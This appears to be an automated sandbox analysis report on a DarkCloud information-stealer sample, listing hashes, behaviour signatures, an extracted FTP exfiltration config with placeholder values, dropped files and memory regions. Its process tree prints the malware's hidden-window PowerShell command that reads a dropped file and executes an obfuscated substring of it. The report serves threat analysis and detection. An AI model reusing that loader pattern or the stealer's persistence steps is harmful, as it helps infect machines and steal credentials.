Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250313-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250313-enlocale:en-usos:windows10-2004-x64system
  • submitted
    14/03/2025, 00:00

General

  • Target
    tmpgrglbjxb.exe
  • Size 706KB
  • Sample250314-aaak2swvcv
  • SHA256 97a824c3107a8d65a3f935e427d07bdf8d593da8cb5e4ff22f542fc2dc04ff8e
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • darkcloud

Credentials
  • Protocol

    ftp

  • Host

    @StrFtpServer

  • Port

    21

  • Username

    @StrFtpUser

  • Password

    @StrFtpPass

Signatures

  • DarkCloud

    An information stealer written in Visual Basic.

  • Darkcloud family
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 7 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\tmpgrglbjxb.exe
    "C:\Users\Admin\AppData\Local\Temp\tmpgrglbjxb.exe"
    1⤵
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:4336
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -windowstyle hidden "$Opsaetnings=GC -Raw 'C:\Users\Admin\AppData\Local\resider\actinidiaceae\Favosites.Sen';$Exophoric=$Opsaetnings.SubString(56950,3);.$Exophoric($Opsaetnings)"
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of NtSetInformationThreadHideFromDebugger
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious behavior: MapViewOfSection
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:5508
      • C:\Windows\SysWOW64\msiexec.exe
        "C:\Windows\SysWOW64\msiexec.exe"
        3⤵
        • Adds Run key to start application
        • Blocklisted process makes network request
        • Drops file in System32 directory
        • Suspicious use of NtCreateThreadExHideFromDebugger
        • Suspicious use of NtSetInformationThreadHideFromDebugger
        • System Location Discovery: System Language Discovery
        • Suspicious use of SetWindowsHookEx
        PID:2000

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_ynwpp5y3.ugz.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ynwpp5y3.ugz.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512

        Favosites.Sen

        • Path C:\Users\Admin\AppData\Local\resider\actinidiaceae\Favosites.Sen
        • Size 55KB
        • SHA256 c4b48bddd5d0daf66c329f95d400f7adc4ad1b123ff2037df4eb8c572056773b
        • MD5 SHA1 SHA512 SSDEEP

        Mimikerens97.Out195

        • Path C:\Users\Admin\AppData\Local\resider\actinidiaceae\Mimikerens97.Out195
        • Size 325KB
        • SHA256 c1daf9b61d412ad41ad040faf7f505d828c6c5d63f24283248845c0981416515
        • MD5 SHA1 SHA512 SSDEEP

        memory/2000-109-0x0000000000400000-0x00000000005E4000-memory.dmp

        memory/2000-107-0x0000000000400000-0x00000000005E4000-memory.dmp

        memory/2000-111-0x0000000000400000-0x00000000005E4000-memory.dmp

        memory/2000-110-0x0000000000400000-0x00000000005E4000-memory.dmp

        memory/2000-113-0x0000000000400000-0x00000000005E4000-memory.dmp

        memory/2000-114-0x0000000000400000-0x00000000005E4000-memory.dmp

        memory/2000-108-0x0000000000400000-0x00000000005E4000-memory.dmp

        memory/2000-112-0x0000000000400000-0x00000000005E4000-memory.dmp

        memory/2000-106-0x0000000000400000-0x00000000005E4000-memory.dmp

        memory/2000-105-0x0000000000400000-0x00000000005E4000-memory.dmp

        memory/2000-91-0x0000000000400000-0x00000000005E4000-memory.dmp

        memory/2000-88-0x0000000000400000-0x00000000005E4000-memory.dmp

        memory/2000-81-0x0000000077131000-0x0000000077251000-memory.dmp

        memory/2000-115-0x0000000000400000-0x00000000005E4000-memory.dmp

        memory/2000-80-0x00000000771B8000-0x00000000771B9000-memory.dmp

        memory/2000-79-0x0000000077131000-0x0000000077251000-memory.dmp

        memory/5508-61-0x0000000007850000-0x000000000787A000-memory.dmp

        memory/5508-72-0x00000000736E0000-0x0000000073E90000-memory.dmp

        memory/5508-53-0x0000000006F40000-0x0000000006F5E000-memory.dmp

        memory/5508-52-0x00000000736E0000-0x0000000073E90000-memory.dmp

        memory/5508-54-0x0000000006F70000-0x0000000007013000-memory.dmp

        memory/5508-55-0x0000000007090000-0x000000000709A000-memory.dmp

        memory/5508-56-0x00000000070B0000-0x00000000070C1000-memory.dmp

        memory/5508-57-0x0000000007100000-0x000000000710E000-memory.dmp

        memory/5508-58-0x0000000007110000-0x0000000007124000-memory.dmp

        memory/5508-59-0x0000000007840000-0x000000000785A000-memory.dmp

        memory/5508-60-0x0000000007140000-0x0000000007148000-memory.dmp

        memory/5508-14-0x00000000736EE000-0x00000000736EF000-memory.dmp

        memory/5508-62-0x0000000007880000-0x00000000078A4000-memory.dmp

        memory/5508-64-0x00000000736E0000-0x0000000073E90000-memory.dmp

        memory/5508-63-0x00000000736EE000-0x00000000736EF000-memory.dmp

        memory/5508-65-0x00000000736E0000-0x0000000073E90000-memory.dmp

        memory/5508-67-0x00000000736E0000-0x0000000073E90000-memory.dmp

        memory/5508-68-0x00000000736E0000-0x0000000073E90000-memory.dmp

        memory/5508-42-0x000000006FB70000-0x000000006FBBC000-memory.dmp

        memory/5508-70-0x00000000736E0000-0x0000000073E90000-memory.dmp

        memory/5508-71-0x00000000736E0000-0x0000000073E90000-memory.dmp

        memory/5508-41-0x00000000736E0000-0x0000000073E90000-memory.dmp

        memory/5508-73-0x0000000008400000-0x000000000D1D8000-memory.dmp

        memory/5508-74-0x00000000736E0000-0x0000000073E90000-memory.dmp

        memory/5508-75-0x00000000736E0000-0x0000000073E90000-memory.dmp

        memory/5508-76-0x00000000736E0000-0x0000000073E90000-memory.dmp

        memory/5508-78-0x00000000736E0000-0x0000000073E90000-memory.dmp

        memory/5508-40-0x0000000006F00000-0x0000000006F32000-memory.dmp

        memory/5508-39-0x0000000007D80000-0x00000000083FA000-memory.dmp

        memory/5508-37-0x0000000007150000-0x00000000076F4000-memory.dmp

        memory/5508-36-0x0000000006080000-0x00000000060A2000-memory.dmp

        memory/5508-35-0x0000000006030000-0x000000000604A000-memory.dmp

        memory/5508-34-0x0000000006AA0000-0x0000000006B36000-memory.dmp

        memory/5508-33-0x0000000005BA0000-0x0000000005BEC000-memory.dmp

        memory/5508-32-0x0000000005AF0000-0x0000000005B0E000-memory.dmp

        memory/5508-31-0x0000000005610000-0x0000000005964000-memory.dmp

        memory/5508-21-0x00000000054A0000-0x0000000005506000-memory.dmp

        memory/5508-20-0x0000000005430000-0x0000000005496000-memory.dmp

        memory/5508-19-0x00000000736E0000-0x0000000073E90000-memory.dmp

        memory/5508-18-0x0000000004B30000-0x0000000004B52000-memory.dmp

        memory/5508-16-0x00000000736E0000-0x0000000073E90000-memory.dmp

        memory/5508-17-0x0000000004D90000-0x00000000053B8000-memory.dmp

        memory/5508-15-0x0000000000BD0000-0x0000000000C06000-memory.dmp